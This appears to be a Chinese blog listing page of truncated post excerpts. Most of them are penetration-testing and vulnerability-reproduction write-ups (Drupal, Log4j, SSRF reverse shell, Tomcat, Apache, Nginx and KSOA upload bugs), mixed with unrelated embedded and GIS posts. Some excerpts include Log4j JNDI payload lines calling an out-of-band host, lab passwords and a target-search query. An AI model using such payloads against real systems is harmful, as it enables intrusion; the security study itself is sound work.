沙箱amp cnvd漏洞
模块一作业：微信业务架构图 & 学生系统技术架构图
1. 画出微信的业务架构图 张小龙说过，面向场景来做产品设计，而非功能列表，功能是服务于场景，没有孤立的功能。所以，我们首先基于微信的现有功能来做场景分析： 微信最核心的场景当属社交了，在这个基础上，发展出来了娱乐、支付、金融理财、电商、购物消费、生活服务、交通出行等场景。而在微信客户端原有基础上， ......
CVE-2017-6920漏洞复现
前言 本文所述远程代码执行漏洞由Drupal Core的YAML解析器处理不当所导致。漏洞对应的CVE编号为CVE-2017-6920。 8.x版本&&小于8.3.4版本 漏洞环境（基于ubuntu18.04） 故事的开始: 启动漏洞环境（vulhub靶场，在cve-2017-6920文件夹中启do ......
sql注入漏洞
1.0 什么是sql注入 sql注入第一次是在1998年著名黑客杂志phack第54期上提出的 sql注入是服务器端未严格校验客户端发送的数据，导致服务器端sql语句被恶意修改并成功执行 的行为 1.1 sql的分类 sql注入按请求方法分为get型和post型。 按照sq;数据类型分类可分为整型注 ......
红日ATT&CK系列靶场(五)笔记
环境搭建 第一次登录会提示需要更改账号密码。 win7账号密码： sun\heart 123.com sun\Administrator dc123.com ————————————————————————————————————————————————————————————— 2008账号密码 ......
UDP协议&&UDP广播通信
### UDP协议 1. 概念 传输层主要的应用协议模型有，TCP，UDP两种。TCP协议占主导地位，绝大多数网络都是借助TCP协议完成数据传输，但UDP也是不了或缺的重要通信手段 相较于TCP，UDP通信形式像发短信。不需要建立连接。只需要专心获取数据就可以，省去了三次握手，通信速度可以大大提高， ......
权限提升-MY&MS&ORA等SQL数据库提权
Web提权本地提权皆可，核心是得到数据库的账号密码 在利用系统溢出漏洞无果的情况下，可以采用数据库进行提权 数据库提权的前提条件：服务器开启数据库服务及获取到最高权限用户密码 除Access数据库外，其他数据库基本都存在数据库提权的可能 流程：服务探针-信息收集-提权利用-获取权限 数据库应用提权在 ......
SSRF漏洞拓展
# SSRF漏洞拓展 [TOC] ## curl_exec函数 ### 一、ssrf配合gopher协议反弹shell 实验环境： ``` （1）192.168.142.201 #redis服务器 （2）192.168.142.133 #攻击机 （3）192.168.142.1 #SSRF靶机 `` ......
Linux - 禁ping & 开放访问端口
适用于Linux操作系统 禁ping 1、编辑 /etc/sysctl.conf 文件，文件末尾增加如下内容后，保存退出。 net.ipv4.icmp_echo_ignore_all = 1 2、在命令行执行如下命令（该命令会打印一下 /etc/sysctl.conf的内容，好像没有什么其他作用） ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
IIS_7.o/7.5解析漏洞
[toc] # IIS_7.o/7.5解析漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | IIS_7.o/7.5解析漏洞 | | 漏洞评级 | | | 影响范围 | win7,server2008 | | 漏洞描述 | | | 修复方案 | | ### 1.1、漏洞 ......
用友时空KSOA ImageUpload文件上传漏洞
## 漏洞简介 用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 影响版本 用友时空企业信息融通平台KSOA v9.0 ## 漏洞复现 fofa语法：`app="用友-时空KSOA"` 登录页面如下：  和 快速莫比乌斯变换(FMT)，用来在 $O(n\log n)$ 时间复杂度内求位运算卷积。 因为 FMT 能解决的问题是 FWT 的子集，所以这里不讲 FMT，把它拎出来是想说它们 ......
PWR & 低功耗三种模式
睡眠模式： int main(void) { OLED_Init(); OLED_ShowString(1, 1, "RxData:"); Serial_Init(); while (1) { if (Serial_GetRxFlag() == 1) { RxData = Serial_GetRxD ......
BKP备份寄存器&RTC实时时钟
UNIX时间戳 time.h 三条路，上面主要作为系统时钟，中间的作为RTC时钟，下面的作为看门狗的时钟 与RTC有关的外部晶振（主电源断电不停）一般都i是32.768KHZ 2^15=32768 经过一个15位分频器的自然溢出（计数器，溢出事件），可以方便得到1HZ的频率 RTC_PRL分频目标（ ......
Web阶段：第十五章：文件上传&下载
文件的上传介绍文件的上传和下载功能是很多系统中非常常见的功能。非常的重要。 文件的上传1、首先需要一个form表单2、然后在表单内有input type=”file”3、提交的方式必须是method=”POST”4、enctype="multipart/form-data"编码类型必须是多段的表单数 ......
mac & linux 安装oh my zsh
1、先执行安装命令 mac 安装 zsh 命令 brew install zsh linux 安装 zsh 命令 sudo apt-get install zsh 2、安装、切换 oh my zsh sh -c "$(curl -fsSL https://raw.githubusercontent. ......
修改主频 & 时钟树
在system_stm32f10x.c中可以更改这个 最先调用void SystemInit (void)启动HSI+各种恢复缺省配置 然后 调用 SetSysClock();执行设置时钟72M 设置AHB APB分频， RLL倍频后作为系统时钟输出（SystemInit默认工作如下，若是初始化失败 ......
【Python&GIS】矢量数据投影转换(坐标转换)
之前跟大家分享过面矢量数据投影转换和点矢量数据投影转换，但博主在日常工作的过程中发现之前分享的面矢量数据投影转换有时候会出现错误，或者转换后的效果不好。再一次偶然的过程中发现了新的坐标转换（投影转换）函数，所以今天和大家分享一下，大家在进行坐标转换时可以两种方法都试试，哪个效果好用哪个。 ......
【Python&RS】基于GDAL修改栅格数据的DN值
遥感工作者离不开栅格数据，有时候我们可能需要修改栅格数据的值，但ENVI和ArcGIS中并没有直接修改DN值的工具，只有栅格计算器、Band math这些工具去计算整个波段的值，或者Edit Classification Image工具可以修改ENVI分类后的像元值，但这个工具只对分类格式有效，今天... ......
Acunetix v23.8 发布 - 漏洞扫描 (Web 应用程序安全测试)
Acunetix v23.8 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试) Acunetix | Web Application Security Scanner 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞)
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 CV ......
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载)
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 ......
Nginx_(背锅)解析漏洞复现
[toc] # Nginx 解析漏洞复现 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | | | 漏洞评级 | | | 影响范围 | | | 漏洞描述 | Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞，在PHP的配置文件中有一个关键的选项 cgi.fix_pa ......
Nginx_0.7.65_空字节漏洞
[toc] # Nginx_0.7.65_空字节漏洞 ### 1.1、漏洞描述 ### 1.2、漏洞等级 ### 1.3、影响版本 0.7.65 ### 1.4、漏洞复现 #### 1、基础环境 > 链接：https://pan.baidu.com/s/1GBEb6ig6ogiQfXq-yj_Vhw ......
Tomcat7+ 弱口令 && 后台getshell漏洞
[toc] # Tomcat7+ 弱口令 && 后台getshell漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | Tomcat7+ 弱口令 && 后台getshell漏洞 | | 漏洞评级 | 高危 | | 影响范围 | Tomcat 版本：8.0 | | 漏洞描 ......
Apache HTTPD 多后缀解析漏洞
[toc] # Apache HTTPD 多后缀解析漏洞 ### 1.1、漏洞描述 Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件： ```php AddType text/html .html AddLanguage zh-CN .cn ``` ......
Apache HTTPD-换行解析漏洞（CVE-2017-15715）
[toc] # Apache HTTPD-换行解析漏洞（CVE-2017-15715） | 说明 | 内容 | | | | | 漏洞编号 | CVE-2017-15715 | | 漏洞名称 | Apache HTTPD 换行解析漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4.0~2. ......
Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)
[toc] # Apache HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773) | 说明 | 内容 | | | | | 漏洞编号 | CVE-2021-41773 | | 漏洞名称 | Apache HTTP 路径穿越漏洞 | | 漏洞评级 | 高危 | | 影响范围 | 2.4 ......